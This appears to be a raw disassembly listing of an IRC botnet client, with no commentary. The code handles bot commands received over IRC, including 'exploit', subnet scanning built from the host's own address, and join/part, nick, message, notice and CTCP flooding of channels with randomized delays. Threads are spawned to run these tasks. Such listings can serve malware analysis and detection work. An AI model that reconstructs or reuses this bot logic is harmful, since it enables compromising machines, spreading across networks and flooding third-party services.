[ebp-0BC0h] push 80h push eax call sub_41BB70 mov eax, [ebp+0Ch] mov esi, [ebp+esi-8Ch] mov [ebp-0BC4h], eax mov eax, [ebp-4] mov [ebp-0B38h], eax mov eax, [ebp-8] add esp, 0Ch cmp esi, ebx mov [ebp-0B34h], eax jz short loc_404406 push offset dword_42D0F8 push esi call sub_41C260 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp-0B3Ch], eax jmp short loc_40440C ; --------------------------------------------------------------------------- loc_404406: ; CODE XREF: seg000:004043EAj mov [ebp-0B3Ch], ebx loc_40440C: ; CODE XREF: seg000:00404404j lea eax, [ebp-2C0h] push offset dword_42D0D8 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 28h push eax call sub_40AF71 add esp, 14h mov [ebp-0B40h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0BC4h] push ebx push eax push offset dword_40AFDC push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-0B40h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_40448C call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42D09C loc_404470: ; CODE XREF: seg000:0040917Dj lea eax, [ebp-2C0h] push eax call sub_41BA76 add esp, 0Ch jmp loc_406CA0 ; --------------------------------------------------------------------------- loc_404484: ; CODE XREF: seg000:00404492j push 32h call ds:dword_428064 ; Sleep loc_40448C: ; CODE XREF: seg000:00404462j cmp [ebp-0B30h], ebx jz short loc_404484 jmp loc_406CA0 ; --------------------------------------------------------------------------- loc_404499: ; CODE XREF: seg000:00403114j ; seg000:00403129j push offset aFenr ; "FEnR" lea eax, [ebp-2C0h] push offset dword_42D084 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 20h jmp loc_406CA0 ; --------------------------------------------------------------------------- loc_4044D0: ; CODE XREF: seg000:004030EAj ; seg000:004030FFj push ds:dword_4CD93C call sub_41AA78 push eax lea eax, [ebp-2C0h] push offset unk_42D058 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 24h jmp loc_406CA0 ; --------------------------------------------------------------------------- loc_40450E: ; CODE XREF: seg000:004030C0j ; seg000:004030D5j mov esi, [ebp+esi-8Ch] cmp esi, ebx jz short loc_404540 cmp [ebp-0Ch], ebx jz short loc_40454F push esi push dword ptr [ebp-0Ch] call sub_41BAF0 pop ecx cmp eax, ebx pop ecx jz short loc_40454F push eax push offset aQuitS ; "QUIT :%s\r\n" push dword ptr [ebp+0Ch] call sub_409920 add esp, 0Ch jmp short loc_40454F ; --------------------------------------------------------------------------- loc_404540: ; CODE XREF: seg000:00404517j push offset aQuitLater ; "QUIT :later\r\n" push dword ptr [ebp+0Ch] call sub_409920 pop ecx pop ecx loc_40454F: ; CODE XREF: seg000:0040451Cj ; seg000:0040452Bj ... push 0FFFFFFFEh pop eax jmp loc_401F85 ; --------------------------------------------------------------------------- loc_404557: ; CODE XREF: seg000:00403096j ; seg000:004030ABj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push dword ptr [ebp+0Ch] call sub_409920 push offset dword_42D008 call sub_4152AE add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401F85 ; --------------------------------------------------------------------------- loc_404579: ; CODE XREF: seg000:0040306Cj ; seg000:00403081j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push dword ptr [ebp+0Ch] call sub_409920 push offset dword_42CFD4 call sub_4152AE add esp, 0Ch jmp loc_4096BF ; --------------------------------------------------------------------------- loc_404598: ; CODE XREF: seg000:00403042j ; seg000:00403057j push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_40B63A jmp loc_404968 ; --------------------------------------------------------------------------- loc_4045AE: ; CODE XREF: seg000:00403018j ; seg000:0040302Dj push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_40B5E6 jmp loc_404968 ; --------------------------------------------------------------------------- loc_4045C4: ; CODE XREF: seg000:00402FEEj ; seg000:00403003j push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_40B57B jmp loc_404968 ; --------------------------------------------------------------------------- loc_4045DA: ; CODE XREF: seg000:00402FC4j ; seg000:00402FD9j push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_40B4AD jmp loc_404968 ; --------------------------------------------------------------------------- loc_4045F0: ; CODE XREF: seg000:00402F1Fj ; seg000:00402F34j push dword ptr [ebp+esi-8Ch] push 27h push offset dword_42CFC4 push offset dword_42CFB4 jmp short loc_404618 ; --------------------------------------------------------------------------- loc_404605: ; CODE XREF: seg000:00402EF5j ; seg000:00402F0Aj push dword ptr [ebp+esi-8Ch] push 24h push offset dword_42CFA8 push offset dword_42CF98 loc_404618: ; CODE XREF: seg000:00402AFAj ; seg000:00402B4Dj ... push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_40B1F9 add esp, 20h jmp loc_401F82 ; --------------------------------------------------------------------------- loc_404634: ; CODE XREF: seg000:00402B0Ej ; seg000:00402B23j mov edi, [ebp+esi-8Ch] cmp edi, ebx jz short loc_404653 push edi call sub_41B969 test eax, eax pop ecx jz short loc_404653 push edi call sub_41B969 pop ecx jmp short loc_404658 ; --------------------------------------------------------------------------- loc_404653: ; CODE XREF: seg000:0040463Dj ; seg000:00404648j mov eax, ds:dword_42A078 loc_404658: ; CODE XREF: seg000:00404651j mov esi, [ebp+esi-88h] mov [ebp-58Ch], eax cmp esi, ebx jz short loc_40467D push esi loc_40466A: ; CODE XREF: seg000:0040468Cj lea eax, [ebp-59Ch] push 10h push eax call sub_41BB70 add esp, 0Ch jmp short loc_404694 ; --------------------------------------------------------------------------- loc_40467D: ; CODE XREF: seg000:00404667j cmp [ebp-8FBh], bl jz short loc_40468E lea eax, [ebp-0C0h] push eax jmp short loc_40466A ; --------------------------------------------------------------------------- loc_40468E: ; CODE XREF: seg000:00404683j mov [ebp-59Ch], bl loc_404694: ; CODE XREF: seg000:0040467Bj mov eax, [ebp-4] push dword ptr [ebp-88h] mov esi, [ebp+0Ch] mov [ebp-580h], eax mov eax, [ebp-8] push 80h mov [ebp-57Ch], eax lea eax, [ebp-61Ch] push eax mov [ebp-620h], esi call sub_41BB70 add esp, 0Ch push dword ptr [ebp-58Ch] push esi call sub_40AAF8 pop ecx push eax lea eax, [ebp-2C0h] push offset dword_42CF70 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 19h push eax call sub_40AF71 add esp, 1Ch mov [ebp-588h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-620h] push ebx push eax push offset loc_411354 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-588h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_404748 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset dword_42CF34 jmp loc_4098CE ; --------------------------------------------------------------------------- loc_404740: ; CODE XREF: seg000:0040474Ej push 32h call ds:dword_428064 ; Sleep loc_404748: ; CODE XREF: seg000:0040472Dj cmp [ebp-578h], ebx jz short loc_404740 jmp loc_401F82 ; --------------------------------------------------------------------------- loc_404755: ; CODE XREF: seg000:00402ABBj ; seg000:00402AD0j mov esi, [ebp+esi-8Ch] cmp esi, ebx jz short loc_404775 push esi call sub_41B969 test ax, ax pop ecx jz short loc_404775 push esi call sub_41B969 pop ecx jmp short loc_40477B ; --------------------------------------------------------------------------- loc_404775: ; CODE XREF: seg000:0040475Ej ; seg000:0040476Aj mov ax, ds:word_42A088 loc_40477B: ; CODE XREF: seg000:00404773j push dword ptr [ebp-88h] mov esi, [ebp+0Ch] mov edi, [ebp-4] mov [ebp-978h], ax mov eax, [ebp-8] push 80h mov [ebp-968h], eax lea eax, [ebp-9F8h] push eax mov [ebp-9FCh], esi mov [ebp-96Ch], edi call sub_41BB70 movzx eax, word ptr [ebp-978h] add esp, 0Ch push eax push esi call sub_40AAF8 pop ecx push eax lea eax, [ebp-2C0h] push offset unk_42CF08 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push edi push eax push dword ptr [ebp-88h] push esi call sub_409966 push ebx lea eax, [ebp-2C0h] push 6 push eax call sub_40AF71 add esp, 30h mov [ebp-974h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-9FCh] push ebx push eax push offset word_40E8D2 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-974h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_40484D call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42CEC8 jmp loc_4098CE ; --------------------------------------------------------------------------- loc_404845: ; CODE XREF: seg000:00404853j push 32h call ds:dword_428064 ; Sleep loc_40484D: ; CODE XREF: seg000:00404832j cmp [ebp-964h], ebx jz short loc_404845 jmp loc_401F82 ; --------------------------------------------------------------------------- loc_40485A: ; CODE XREF: seg000:00402A67j ; seg000:00402A7Cj ... push edi push offset aSecure ; "secure" call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_404882 push edi push offset aSec ; "sec" call sub_41C260 pop ecx mov [ebp-0A0Ch], ebx test eax, eax pop ecx jnz short loc_40488C loc_404882: ; CODE XREF: seg000:00404869j mov dword ptr [ebp-0A0Ch], 1 loc_40488C: ; CODE XREF: seg000:00404880j push dword ptr [ebp-88h] lea eax, [ebp-0A90h] push 80h push eax call sub_41BB70 mov eax, [ebp+0Ch] add esp, 0Ch cmp [ebp-0A0Ch], ebx mov [ebp-0A94h], eax mov eax, [ebp-4] mov [ebp-0A08h], eax mov eax, [ebp-8] mov [ebp-0A04h], eax mov eax, offset aSecuring ; "Securing" jnz short loc_4048D3 mov eax, offset aUnsecuring ; "Unsecuring" loc_4048D3: ; CODE XREF: seg000:004048CCj push eax push offset dword_42CE94 lea eax, [ebp-2C0h] push 200h push eax call sub_41BB70 push ebx lea eax, [ebp-2C0h] push 22h push eax call sub_40AF71 add esp, 1Ch mov [ebp-0A10h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0A94h] push ebx push eax push offset sub_419FE4 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-0A10h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_40494A call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset dword_42CE58 jmp loc_40831C ; --------------------------------------------------------------------------- loc_404942: ; CODE XREF: seg000:00404950j push 32h call ds:dword_428064 ; Sleep loc_40494A: ; CODE XREF: seg000:0040492Fj cmp [ebp-0A00h], ebx jz short loc_404942 jmp loc_4023FC ; --------------------------------------------------------------------------- loc_404957: ; CODE XREF: seg000:00402A3Dj ; seg000:00402A52j push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_41A89B loc_404968: ; CODE XREF: seg000:004045A9j ; seg000:004045BFj ... add esp, 0Ch jmp loc_409753 ; --------------------------------------------------------------------------- loc_404970: ; CODE XREF: seg000:00402A13j ; seg000:00402A28j push offset unk_42CDA8 jmp loc_4061FF ; --------------------------------------------------------------------------- loc_40497A: ; CODE XREF: seg000:004029E9j ; seg000:004029FEj push offset aFenr_0 ; "FEnR" push offset dword_42CD98 jmp loc_406C70 ; --------------------------------------------------------------------------- loc_404989: ; CODE XREF: seg000:004029BFj ; seg000:004029D4j mov esi, [ebp+esi-8Ch] cmp esi, ebx jz short loc_4049E5 push esi call sub_41B969 cmp eax, ebx pop ecx jl short loc_4049DA cmp eax, 1 jge short loc_4049DA mov edx, [ebp+20h] mov ecx, eax shl ecx, 7 lea esi, [ecx+edx] cmp [esi], bl jz short loc_4049CF lea eax, [esi+1] push eax lea eax, [ebp-2C0h] push offset unk_42E058 push eax call sub_41BA76 mov [esi], bl jmp loc_405F4E ; --------------------------------------------------------------------------- loc_4049CF: ; CODE XREF: seg000:004049B1j push eax push offset unk_42CD6C jmp loc_405F42 ; --------------------------------------------------------------------------- loc_4049DA: ; CODE XREF: seg000:0040499Dj ; seg000:004049A2j push eax push offset unk_42CD40 jmp loc_405F42 ; --------------------------------------------------------------------------- loc_4049E5: ; CODE XREF: seg000:00404992j mov edi, [ebp+20h] xor esi, esi loc_4049EA: ; CODE XREF: seg000:00404A06j push dword ptr [ebp-90h] push edi call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_404A0D inc esi add edi, 80h cmp esi, 1 jl short loc_4049EA jmp loc_406EA9 ; --------------------------------------------------------------------------- loc_404A0D: ; CODE XREF: seg000:004049FAj mov eax, [ebp+20h] shl esi, 7 mov [esi+eax], bl lea eax, [ebp-0C0h] push eax push offset unk_42E058 jmp loc_405F42 ; --------------------------------------------------------------------------- loc_404A27: ; CODE XREF: seg000:00402995j ; seg000:004029AAj push dword ptr [ebp-8Ch] push offset dword_42DFCC call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403449 call sub_40B134 push ebx call ds:dword_428068 ; ExitProcess loc_404A4D: ; CODE XREF: seg000:00403482j push offset aGet ; "get" push esi call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_404AF3 cmp ds:dword_4D137C, ebx jz short loc_404A79 push offset dword_4D0D60 push offset unk_42CD04 jmp loc_404B05 ; --------------------------------------------------------------------------- loc_404A79: ; CODE XREF: seg000:00404A68j push 10h pop eax mov [ebp-2D4h], eax push eax lea eax, [ebp-2E4h] push ebx push eax call sub_41B780 add esp, 0Ch lea eax, [ebp-2D4h] push eax lea eax, [ebp-2E4h] push eax push dword ptr [ebp+0Ch] call ds:dword_428230 ; getsockname movzx eax, byte ptr [ebp-2DEh] push eax movzx eax, byte ptr [ebp-2DFh] push eax movzx eax, byte ptr [ebp-2E0h] push eax lea eax, [ebp-0D9Ch] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41BA76 lea eax, [ebp-0D9Ch] push eax lea eax, [ebp-2C0h] push offset unk_42CD04 push eax call sub_41BA76 add esp, 20h jmp loc_4034A1 ; --------------------------------------------------------------------------- loc_404AF3: ; CODE XREF: seg000:00404A5Cj push esi call ds:dword_4CDC38 ; inet_addr cmp eax, 0FFFFFFFFh push esi jnz short loc_404B19 push offset unk_42CCC4 loc_404B05: ; CODE XREF: seg000:00404A74j lea eax, [ebp-2C0h] push eax call sub_41BA76 add esp, 0Ch jmp loc_4034A1 ; --------------------------------------------------------------------------- loc_404B19: ; CODE XREF: seg000:00404AFEj push offset dword_4D0D60 call sub_41C0A0 push esi lea eax, [ebp-2C0h] push offset unk_42CC98 push eax mov ds:dword_4D137C, 1 call sub_41BA76 add esp, 14h jmp loc_4034A1 ; --------------------------------------------------------------------------- loc_404B47: ; CODE XREF: seg000:0040346Aj push edi push offset aExploit ; "exploit" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_404C40 mov eax, [ebp-4] mov esi, offset aBo_0 ; "#bo-" mov [ebp-13E0h], eax mov eax, [ebp-8] mov [ebp-13DCh], eax mov eax, [ebp+0Ch] mov [ebp-13F0h], eax mov edi, 80h push esi lea eax, [ebp-1470h] push edi push eax mov dword ptr [ebp-13E8h], 1 call sub_41BB70 push esi lea eax, [ebp-14F0h] push edi push eax call sub_41BB70 push dword ptr [ebp+18h] lea eax, [ebp-1500h] push 10h push eax call sub_41BB70 lea eax, [ebp-1500h] push eax lea eax, [ebp-2C0h] push offset unk_42CC60 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 8 push eax call sub_40AF71 add esp, 3Ch mov [ebp-13E4h], eax lea eax, [ebp-308h] push eax lea eax, [ebp-1500h] push ebx push eax push offset dword_40B700 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-13E4h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_404C33 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42CC20 jmp loc_405F42 ; --------------------------------------------------------------------------- loc_404C2B: ; CODE XREF: seg000:00404C39j push 32h call ds:dword_428064 ; Sleep loc_404C33: ; CODE XREF: seg000:00404C18j cmp [ebp-13D8h], ebx jz short loc_404C2B jmp loc_406EA9 ; --------------------------------------------------------------------------- loc_404C40: ; CODE XREF: seg000:00404B56j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4096C6 push edi push offset aRin ; "rin" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4096C6 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409680 push edi push offset aRinms ; "rinms" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_409680 push dword ptr [ebp+10h] push offset aFlood ; "flood" call sub_41C260 mov edi, ds:dword_428064 pop ecx test eax, eax pop ecx jnz loc_4057FC call ds:dword_4280A8 ; GetTickCount push eax call sub_41BAC8 push dword ptr [ebp+18h] push offset aLoad ; "load" call sub_41C260 add esp, 0Ch test eax, eax jnz short loc_404D43 cmp [ebp+esi-80h], ebx jz short loc_404D43 push dword ptr [ebp+esi-80h] call sub_41B969 pop ecx push eax push dword ptr [ebp+esi-84h] call sub_41B969 pop ecx push eax push dword ptr [ebp+esi-88h] call sub_417ABA push dword ptr [ebp+esi-84h] lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push dword ptr [ebp+esi-80h] push offset unk_42CBB8 push eax call sub_41BA76 add esp, 20h cmp [ebp-8], ebx jnz short loc_404D43 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 14h loc_404D43: ; CODE XREF: seg000:00404CCFj ; seg000:00404CD5j ... push dword ptr [ebp+18h] push offset dword_42CBB4 call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_404DAC mov eax, [ebp+esi-84h] cmp eax, ebx jz short loc_404DAC push offset asc_42E0C8 ; " " push offset dword_42CBB0 push eax call sub_4180DD push eax lea eax, [ebp-50F0h] push eax call sub_41C0A0 lea eax, [ebp-50F0h] push eax lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset dword_42CBA0 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 28h loc_404DAC: ; CODE XREF: seg000:00404D54j ; seg000:00404D5Fj push dword ptr [ebp+18h] push offset dword_42CB9C call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_404E15 mov eax, [ebp+esi-84h] cmp eax, ebx jz short loc_404E15 push offset asc_42E0C8 ; " " push offset dword_42CBB0 push eax call sub_4180DD push eax lea eax, [ebp-4BECh] push eax call sub_41C0A0 lea eax, [ebp-4BECh] push eax lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset dword_42CB88 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 28h loc_404E15: ; CODE XREF: seg000:00404DBDj ; seg000:00404DC8j push dword ptr [ebp+18h] push offset aNt ; "nt" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_404E7E mov eax, [ebp+esi-84h] cmp eax, ebx jz short loc_404E7E push offset asc_42E0C8 ; " " push offset dword_42CBB0 push eax call sub_4180DD push eax lea eax, [ebp-46E8h] push eax call sub_41C0A0 lea eax, [ebp-46E8h] push eax lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 28h loc_404E7E: ; CODE XREF: seg000:00404E26j ; seg000:00404E31j push dword ptr [ebp+18h] push offset aMode ; "mode" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_404EE7 mov eax, [ebp+esi-84h] cmp eax, ebx jz short loc_404EE7 push offset asc_42E0C8 ; " " push offset dword_42CBB0 push eax call sub_4180DD push eax lea eax, [ebp-4DECh] push eax call sub_41C0A0 lea eax, [ebp-4DECh] push eax lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aModeSS ; "mode %s %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 28h loc_404EE7: ; CODE XREF: seg000:00404E8Fj ; seg000:00404E9Aj push dword ptr [ebp+18h] push offset aJoin ; "join" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_404F26 mov eax, [ebp+esi-88h] cmp eax, ebx jz short loc_404F26 push eax lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 10h loc_404F26: ; CODE XREF: seg000:00404EF8j ; seg000:00404F03j push dword ptr [ebp+18h] push offset aPart_0 ; "part" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_404F65 mov eax, [ebp+esi-88h] cmp eax, ebx jz short loc_404F65 push eax lea eax, [ebp-2C0h] push offset aPartS ; "part %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 10h loc_404F65: ; CODE XREF: seg000:00404F37j ; seg000:00404F42j push dword ptr [ebp+18h] push offset aPartflood ; "partflood" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_404FA9 mov eax, [ebp+esi-88h] cmp eax, ebx jz short loc_404FA9 push offset aCyber ; "CYBER" push eax lea eax, [ebp-2C0h] push offset aPartSS ; "part %s %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 14h loc_404FA9: ; CODE XREF: seg000:00404F76j ; seg000:00404F81j push dword ptr [ebp+18h] push offset aPnick ; "pnick" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_40501E cmp [ebp+esi-88h], ebx jz short loc_40501E call ds:dword_4280A8 ; GetTickCount push eax call sub_41BAC8 call sub_41BAD2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp-1804h] push edx push dword ptr [ebp+esi-88h] push offset dword_42CB18 push eax call sub_41BA76 lea eax, [ebp-1804h] push eax lea eax, [ebp-2C0h] push offset dword_42CB10 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 24h loc_40501E: ; CODE XREF: seg000:00404FBAj ; seg000:00404FC3j push dword ptr [ebp+18h] push offset dword_42CB04 call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_405165 cmp [ebp+esi-88h], ebx jz loc_405165 push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF push offset aCyber ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aPartSS ; "part %s %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 24h call sub_41BAD2 cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 10h call sub_41BAD2 cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset aCyber ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aPartSS ; "part %s %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 24h call sub_41BAD2 cdq mov ecx, 0C8h idiv ecx push edx call edi ; Sleep push offset aCyber ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aPartSS ; "part %s %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 14h loc_405165: ; CODE XREF: seg000:0040502Fj ; seg000:0040503Cj push dword ptr [ebp+18h] push offset dword_42CB00 call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_4051FF cmp [ebp+esi-88h], ebx jz short loc_4051FF call ds:dword_4280A8 ; GetTickCount push eax call sub_41BAC8 pop ecx call sub_41BAD2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41BAD2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41BAD2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41BAD2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41BAD2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp-2C0h] push edx push dword ptr [ebp+esi-88h] push offset dword_42CAD8 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 24h loc_4051FF: ; CODE XREF: seg000:00405176j ; seg000:00405183j push dword ptr [ebp+18h] push offset aNick_0 ; "nick" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_4052FC mov eax, [ebp+esi-88h] cmp eax, ebx jz loc_4052FC push eax lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF lea eax, [ebp-4B8h] push eax call sub_417B38 lea eax, [ebp-4B8h] push eax lea eax, [ebp-2C0h] push offset dword_42CB10 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 24h call sub_41BAD2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep lea eax, [ebp-4B8h] push eax call sub_417B38 lea eax, [ebp-4B8h] push eax lea eax, [ebp-2C0h] push offset dword_42CB10 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 14h call sub_41BAD2 cdq mov ecx, 1F4h idiv ecx push edx call edi ; Sleep lea eax, [ebp-4B8h] push eax call sub_417B38 lea eax, [ebp-4B8h] push eax lea eax, [ebp-2C0h] push offset dword_42CB10 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 14h loc_4052FC: ; CODE XREF: seg000:00405210j ; seg000:0040521Fj push dword ptr [ebp+18h] push offset aChgnick ; "chgnick" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_405342 lea eax, [ebp-17CCh] push eax call sub_417B38 lea eax, [ebp-17CCh] push eax lea eax, [ebp-2C0h] push offset dword_42CB10 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 14h loc_405342: ; CODE XREF: seg000:0040530Dj push dword ptr [ebp+18h] push offset aMsg ; "msg" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_40542E cmp [ebp+esi-88h], ebx jz loc_40542E push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset dword_42CBA0 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 24h call sub_41BAD2 cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset dword_42CBA0 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 14h call sub_41BAD2 cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset dword_42CBA0 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 14h loc_40542E: ; CODE XREF: seg000:00405353j ; seg000:00405360j push dword ptr [ebp+18h] push offset aNotice_0 ; "notice" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_40551A cmp [ebp+esi-88h], ebx jz loc_40551A push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 24h call sub_41BAD2 cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 14h call sub_41BAD2 cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 14h loc_40551A: ; CODE XREF: seg000:0040543Fj ; seg000:0040544Cj push dword ptr [ebp+18h] push offset aCtcp ; "ctcp" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_40562E cmp [ebp+esi-88h], ebx jz loc_40562E push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset dword_42CA90 push eax call sub_41BA76 lea eax, [ebp-2C0h] push eax call sub_4177DF add esp, 20h call sub_41BAD2 cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset dword_42CA78 push eax call sub_41BA76 lea 